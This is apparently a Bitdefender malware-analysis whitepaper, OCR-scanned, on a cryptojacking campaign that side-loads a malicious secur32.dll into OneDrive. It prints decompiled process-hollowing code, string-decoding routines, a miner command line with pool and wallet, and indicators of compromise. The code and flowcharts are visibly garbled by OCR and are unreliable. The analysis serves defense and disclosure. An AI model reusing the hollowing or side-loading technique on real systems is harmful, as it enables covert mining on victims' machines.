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The sections of the crypto miner are written one by one in the memory address of the victim process and the
ImageBase of the victim process is modified to the ImageBase of the crypto miner:

for ( i = @ied; i < imageltHeaders-*FileHeader.NumberOfSections; ++i )
i
imageSectionHeader = (IMAGE_SECTION_HEADER *)(imageDosHeader-»e_lfanew + minerVirtualImageBase + 48 * i + 264);
lphumberofByteshWritten2 = @ie4;
pointerToRawData = *((unsigned int *)imageSectionHeader + 5) + minerVirtualImageBase;
virtualAddress = *((unsigned int *)}imageSectionHeader + 3) + allocatedAddressInVictimProcess;
Calll_writeProcessMemory2(
(_ int64}&a1 + 4,
{__inte4}&processInformation,
(_ inte4}&virtualAddress,
(_ inte4)&pointerToRawData,
(_ inte4)imageSectionHeader + 16,
(__inte4)&lpNumberOfByteskritten2);
lphumberdfByteshritten3 = @i64;
sizeof_Bbytes = B;
address0fImageBase = (WORD *)&imageNtHeaders-:OptionalHeader.ImageBase;
victimImageBaseAddress = context->Rdx 4+ 8x18;
Call WriteProcessMemory3(
(_ inte4)&al + 5,
(_ inte4a)&processInformation,
(__inte4)&victimImageBaseAddress,
(__int64)RaddressOfImageBase,
(__int64)&sizeof_Bbytes,
(__inte4}&1pNumberOfByteskritten3);

}

The sections of the crypto miner are written in the victim process

At the end of the loop, the RCX register in the victim process context is changed to contain the virtual
AddressOfEntryPoint of the injected crypto miner. This register originally contained the virtual AddressOfEntryPoint of
the victim executable:

context-»Rcx = imageNtHeaders-»>OptionalHeader.AddressOfEntryPoint + allocatedAddressInvictimProcess;
Call SetThreadContext((_ int64)&al + 6, (_ int64)&processInformation.hThread, {  int64)&context);
Call ResumeThread((_ int64}&al1 + 7, (__ int64)&processInformaticn.hThread);

vld = 8;

Call WaitForSingleObject({ int64)8v6, { int64)}&processInformation, (_ int64)&v1d);

The AddressOfEntryPoint of the victim process is patched
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The flow of the process hollowing operation is summarized in the following flowchart:

procedure Set the
Hollow ~—# AddressOfEntryPoint in
(process, miner) RCX
Set thread
Create process context of the
as suspended victim process
Resume victim
Get thread process main
context thread
Allocate memeory in the Wait for the wictim
farget process of size process to
miner- terminate
=(ptionalHeader-
=5izeOflmage l
Write the headers end procedure
of the miner
MZPE in the

target process

loop | End

For all sections in J
( *|the miner MZPE

Write the section
in the victim
process

v

Change the
ImageBase of the
h victim process
(could happen
also aftert the

loop??)

The flow of process hollowing
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The flow of the post-hollowing operations is summarized in the following flowchart:

procedure
PostOperations()

v

loop |

true

h 4

loop |

for each monitoring
tool: | End
f ’ Taskmgr.exe, 3
procexp.exe,

procexpbd.exe

|5 the tool
currently
running?

Remember that
—Yes +— one monitoring
tool was running

: )

Was at least
one monitering
tool
running?

| Kill the previously
" | hollowed process

No

Yes

MNo

v

Check if the
hollowed process
exited and rastart

itifso

y )

The flow of the operations performed after process hollowing

Defense evasion techniques

This malware employs two big defense evasion techniques: DLL Side-Loading and Process Hollowing. First of all,
the malicious secur32.dll gets loaded in OneDrive executables via a DLL Side-Loading vulnerability. Secondly, the
crypto miner runs inside either a svchost.exe or a conhost.exe process as a result of Process Hollowing. Both these
techniques help the malware blend in with the processes that normally run on a system, such that the presence of a
crypto miner should not be obvious when somebody checks the running processes.

When it comes to smaller evasion techniques, the malware makes some effort to hide its strings, making it harder to
add static detection rules. To make the job of static detection engines harder, the malware hides its imports by using
an API resolution scheme and resolving an API only before using it.

Strings encoding

For example, the string Lolliedieb/loIMiner-releases/releases/download/1.48/loIMiner_v1.48_Win64.zip is first loaded
into an array as a ciphertext:
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| _inted * fastcall GetCodedLolMiner{ int64 *al)

{
*z21 = sub_7FFE4C8BFO80(0xD2EA35DE94636F11uibd);
al[1] = sub_7FFEACS8BF@868(@xF3C12CBD1A5B35BBuiGd);
al[2] = sub_7FFEACSBFO80(-0xFF18C700113E8DAFui6d);
al[3] = sub_7FFEACSBFO808(-0x8B749710604A2DC7uibd) ;
al[4] = sub_7FFEACSBF@80(-0xB6366867D849D17Cuibd);
al[5] = sub_7FFEACSBFO80(@Ox8FE78797DE1BDY15uib4d);
al[e] = sub_7FFEACSBFO80(-0x8D77249274899413ui64);
al[7] = sub_7FFEACSBFO80(0xDFEE32FBCB74C875uibtd);
2l[8] = sub_7FFEACSBF@80(-0xFBOAS509511906AFuibs) ;
al[9] = sub_7FFE4CS8BFO86(@OxD9E173FABDC19628uibd);
return al;

¥

Example of ciphertext to be decrypted

Then, the bytes of the key are also loaded into an array:

lconst _ m128i *_ fastcall Xor_LolMinerPath{const _ m128i *al)

{
_ ml28i * RBP; // rbp
const _ m128i *_RAX; // rax
const _ m128i *_RAX; // rax
unsigned __int64 _RAX; // rax
const _ m128i *_RAX; // rax
const _ m128i *_RAX; // rax
_int128 v18; [/ [rsp+48h] [rbp+6h] BYREF

_RBP = (__ml128i * into4)&v18 & @xFFFFFFFFFFFFFFEQUiGA);

*(_QWORD *)( ( (ur V12 & OxFFFFFFFFFFFFFFEQUiGA) + 0x400) =
*(_QWORD *) ( ( (ur V12 & OxFFFFFFFFFFFFFFEQUiGA) + 0x408) =
*(_QWORD *) (( (ur v12 & OxFFFFFFFFFFFFFFEQUiGd) + @x410) =
*(_QWORD *)((( v12 & OxFFFFFFFFFFFFFFEQUiGd) + @x418) =
*(_OWORD *)((( V18 & OxFFFFFFFFFFFFFFEQUiGA) + @x420) =
*(_QWORD *) (( (ur V18 & OxFFFFFFFFFFFFFFEGUiG4) + @x428) =
*(_QWORD *) (((ur V18 & OxFFFFFFFFFFFFFFEGUiG4) + @x438) =
*(_QWORD *)(( (ur w18 & OxFFFFFFFFFFFFFFEQUi64) + 0x438) =
*(_QWORD *Y ((( 18 & OxFFFFFFFFFFFFFFEGUi64) + Ox448) =
*(_QWORD *) ((( V18 & OxFFFFFFFFFFFFFFEGUi6A) + Ox448) =

Example of encryption (and decryption) key

sub_7FFE4ACBBFO80(0OxBBBESGB7F8QFO05DUiG4) ;
sub_7FFE4ACBBFO80(0Ox9ABCABD2767457DEuibd) ;
sub_7FFEACBBFO80(-0x9A74A2723CACER21uind);
sub_7FFEAC8BFO80(-@xE711E53F132F5EABuind);
sub_7FFE4AC8BFO80(-0xD9524714BD3ABO1Fuied);
sub_7FFE4ACBBFO80(OxBECBE3F6B177B762uibd);
sub_7FFE4AC8BFO80( -0xC@1B4BFESBB1A@3DuiG4);
sub_7FFE4C8BFO80(0xF1BF44A4BA11AG1CULGA) ;
sub_7FFE4C8BFO80( -0xCF3CEB6RA6463E9Buibd);
sub_7FFEACBBF@80(0xDIE173FACDASECOEUiGA) ;

Finally, the XOR operation is performed by the vpxor instruction from the MMX instruction set.

Command and Control

There is no actual C2 server involved in the operation of this malware. The only communication with the group behind

the attack is done by the dropper that reports back to the

malware developers via a Telegram channel.

A request is made that contains the hardware parameters of the new “worker” alongside it’s localization data:

Telegram channel message example

= New worker connected!

= Ihfo:

— GPU: Intel(R) HxD Graphics 630

— CPU: Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz
— RAM: 16247 MB

Other info:
— Username: <edited out>
— IP: <edited out>
— Country: RO
— Build tag: EasyMiner

= New worker connected!

= [hfo:

— GPU: Intel(R) UHD Graphics 630

— CPU: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz
— RAM: 8066 MB

Other info:
— Username: <edited out>
— IP: <edited out>
— Country: PT
— Build tag: xDD
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Impact
As crypto-currency mining is resource-intensive, victims can immediately notice degraded CPU and GPU performance,
overheating and increased energy consumption. All these side effects can wear hardware out.

As mentioned, the cryptojacking campaign uses four cryptocurrency mining algorithms: ethash, etchash, ton and xmr
with a predilection towards etchash. With this information, as well as the public wallets in the configuration files, our
investigation revealed that attackers make an average of $13 worth of crypto-currency per infected computer.

Campaign distribution/ Campaign evolution
In terms of campaign evolution, we noticed that the malicious secur32.dll is recompiled about every 3 weeks:

fed6517a5f8deecc2Pedee5586d7feeh number of detections.
N Iy -
/\/P\\/,- —_ —/\ N
A LW AN \
-wy — NV Y N
= A\ N

//J \\\:.;

Added per day

Humber of detections

9bicTfd; 75 number of

N
J

Added per day

9b0d09Id16c24216911a7e316351399d number of detections

MNum b f detect]
\

)

|

Added per day

2c3621abbf755843000bb4a15f8f 2633 number of detections

Mumber of detections

Added per day

The number of detection plotted against the date, comparing the evolution of the four malicious secur32.dll versions
We noticed that changes between the versions don't affect the functionality as much, but rather affect encoded strings.

For instance, the first version we noticed (fed6517a5f84eecc29edee5586d7feeb) contained the

string Lolliedieb/loIMiner-releases/releases/download/1.48/loIMiner_v1.48_Win64.zip, while the second version,
9b1c1fd2556275a985bb4ce4aba99975 contained the string Lolliedieb/loIMiner-releases/releases/download/1.51a/
loIMiner_v1.51a_Win64.zip. This implies the authors are updating the download location of the open-source
cryptomining software when a new version comes along.
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A breakdown of the top 10 countries in terms of number of infected users is as follows:

Unique infections with cryptojacker

Campaign distribution
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How does Bitdefender defend against the campaign?

Protection
Bitdefender Endpoint Security Tools (BEST) On-Access scanning detects and stops the dropper process with a
signature of type Al:Coinminer:

Bitdefender Endpoint Security Tools

1ISSUE FOUND @

Event log:

On-Access scanning has detected a threat. The file has kbeen deleted. ClUsers
| \Downloads\dropper.exe is malware of type Al:Coinminer.4807315313020018

«0m
-
A program has been allowed to connect to the Internet. Process path Chwindows
\System32\svchost.exe. Protocol UDP (17). Port 547
T~
MNew security settings have been received and applied.
oM

Static detection of the dropper process as seen on in the Bitdefender Endpoint Security on the victim machine

Detection
To test the detection and visibility of our product, we adjusted the BEST settings to not block malicious processes.

Y @ ar
W 1] drog
dropper.eve (5624)
- . - . =
l o 0D > 0" s
C Q € © Q
taskkill.exe (5744) secur32.dl secur32.dll desktop.ini onedrive.exe (2176) reg.exe (2636) reg.exe (2032) apitelegram.org...  eb2c4abgbGBffadb7. . OGozghejupaBuo_s  \Devicelb

e E
0N
ALERTS
github. com... 140.82.121.4 OneDrive
! Process detected a5 MALWARE by analysis
(1) ATC Malicious
\Y

| Recently Dropped Module Loaded

ProceszinsuspiciousProcessTree

ProcessFindWindow

Detection & visibility for dropper.exe from the GravityZone web interface
The Advanced Threat Control” technology reveals the following actions taken by the dropper:

+ running taskkill.exe to stop OneDrive.exe

+ dropping the malicious secur32.dll
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+ running OneDrive.exe, which, after loading the malicious secur32.dll, makes a request to github.com, to download

the open-source crypto miner

+ running reg.exe which adds OneDrive to startup via Windows Registry

+ connecting to the Telegram API

+ dropping the config file of the crypto miner (the file ending in _s)

Upon reboot, we also notice that OneDrive.exe is automatically started by explorer.exe, executes svchost.exe and
hollows it, which means that it replaces the image of svchost.exe in memory with the image of the crypto miner:

(1) svchostexe(PID:9,

o

winlogon.exe (796)

©

userinit.exe (6124)

o

explorerexe (3564)

|
© © ©

onedrive.exe (9676) cmd.exe (9968) cmd.exe (9916)

© © o

svchost.exe (9848) 3 processes onedrivesetup.exe

@

© © ©

onedrive.exe (9676) onedrive.exe (9676) onedrive.exe (9676)

©

cmd.exe (9932)

ALERTS

Process detected as by analysis

() EDRGenTrojanGeneric 4
SuspiciousProcessHollowing
ProcessHollowing

@ ProcessinjectionVictim

@ InjectionWriter

INVESTIGATION

REMEDIATION

No actions taken

Detection & visibility for the side-loaded onedrive.exe from the GravityZone web interface

n: 01 Jul 2022,

&1

The command line of the hollowed svchost.exe will be C:\Windows\system32\svchost.exe —algo ETCHASH —pool
etc.2miners.com:1010 —-user 0x5aC1BA3f615fEAa6F638436D1C25CB2847C84e34.EasyMiner
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Conclusion
In this article we presented a DLL Side-Loading attack happening within the ubiquitous OneDrive application.

OneDrive can be side-loaded with several other DLLs. In this case, secur32.dll was chosen, possibly because OneDrive
uses only one of its exports. During our vulnerability disclosure process, we learnt that OneDrive can be installed “per
user” or “per machine”. In the default “per user” installation, the folder where OneDrive is located is writeable by non-
elevated users, meaning that a malicious dll could be dropped there, or executable files can be modified or completely
overwritten (OneDrive.exe, OneDriveStandaloneUpdater.exe).

OneDrive was specifically chosen in this attack because it permits the actor to achieve easy persistence. Adding
OneDrive to startup is an action done by the dropper malware, but even if it did not do so, OneDriveStandaloneUpdater.
exe is by default scheduled to execute each day. Of the detections we received, 95.5% came from
OneDriveStandaloneUpdater.exe loading the malicious secur32.dll. However, Microsoft recommends that customers
choose the “per machine” install under the Program Files folder as per the instructions available here.

Given that the “per machine” installation method may not be suitable for all environments and privilege levels, user
caution should be one of the strongest lines of defense against commodity malware. Bitdefender recommends that
users ensure their AVs and operating systems are up to date, to avoid cracked software and game cheats and to
download software from trusted locations only.
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8. https://docs.microsoft.com/en-us/onedrive/per-machine-installation

24


https://docs.microsoft.com/en-us/onedrive/per-machine-installation
https://besteffortteam.it/onedrive-and-teams-dll-hijacking/
https://www.syxsense.com/onedrive-vulnerability/
https://labs.redyops.com/index.php/2020/04/27/onedrive-privilege-of-escalation/
https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function
https://github.com/xmrig/xmrig
https://github.com/Lolliedieb/lolMiner-releases
https://businessresources.bitdefender.com/hubfs/Bitdefender-Business-2015-SolutionPaper-ATC-93030-en_EN-web.pdf
https://businessresources.bitdefender.com/hubfs/Bitdefender-Business-2015-SolutionPaper-ATC-93030-en_EN-web.pdf
https://docs.microsoft.com/en-us/onedrive/per-machine-installation

Bitdefender Whitepaper
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B

MITRE techniques breakdown

Execution Persistence Defense Evasion Discovery Command and Control Impact
User Boot or Logon
) Autostart Hijack Execution Application Layer
Execution: . . . Process Resource
Malicious Execution: Registry Flow: DLL Side- Discover Protocol: Web Hiiackin
File Run Keys / Startup Loading ! Protocols . 5
o Folder
Process System
Native API Injection: Process Information
Hollowing Discovery
System
Location
Discovery

Indicators of compromise

Hashes

malicious secur32.dll

o

o

fed6517a5f84eecc29edee5586d7feeb

9b0d09fd16c24a1691fa7e316351399d

9b1c1fd2556275a985bb4ce4aba99975

ec36eT1abbf75584a9d0bb4a15f8f2c33

modified OneDrive.exe

o

f3af73070387fb75b19286826cc3126¢

* Files dropped/ modified/ deleted
%appdata%\Local\Microsoft\OneDrive\Secur32.dl|
%appdata%\Local\Microsoft\<random_characters>_s
%appdata%\Local\Microsoft\<random_characters>_g
%appdata%\Local\Microsoft\<random_characters>_c

Registry

Places OneDrive to be launched at startup by adding:

Key: HKCU\Software\Microsoft\Windows\
CurrentVersion\Run

droppers Value: OneDrive

o 7de8b8015540bf923385c36f60b9d5ae Type: REG_SZ
Data: %LocalAppData%\Microsoft\OneDrive\OneDrive.

o 656a4cifcc572e855ac2e512c04ae206 exe

o  7bbeb20cfcabcfa69d668c24a235082e Enables startup action for OneDrive by setting:

o 7c64bb78b589054079a1048f9fc79708 Key: HKCU\Software\Microsoft\Windows\
CurrentVersion\Explorer\StartupApproved\Run

o 73cef9a93e9572¢148a5785434708c41 Value: OneDrive

o 7c64bb78b589054079a1048f9fc79708 Type: REG_BINARY

URLs Data: 020000000000000000000000

github.com/Lolliedieb/loIMiner-releases/releases/
download/1.48/lolMiner_v1.48_Win64.zip

github.com/Lolliedieb/lolMiner-releases/releases/
download/1.5Ta/lolMiner_v1.5Ta_Win64.zip

github.com/xmrig/xmrig/releases/download/v6.17.0/

xmrig-6.17.0-msvc-win64.zip
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https://attack.mitre.org/techniques/T1574/002/
https://attack.mitre.org/techniques/T1574/002/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1496/
https://attack.mitre.org/techniques/T1496/
https://attack.mitre.org/techniques/T1106/
https://attack.mitre.org/techniques/T1055/012/
https://attack.mitre.org/techniques/T1055/012/
https://attack.mitre.org/techniques/T1055/012/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1614/
https://attack.mitre.org/techniques/T1614/
https://attack.mitre.org/techniques/T1614/
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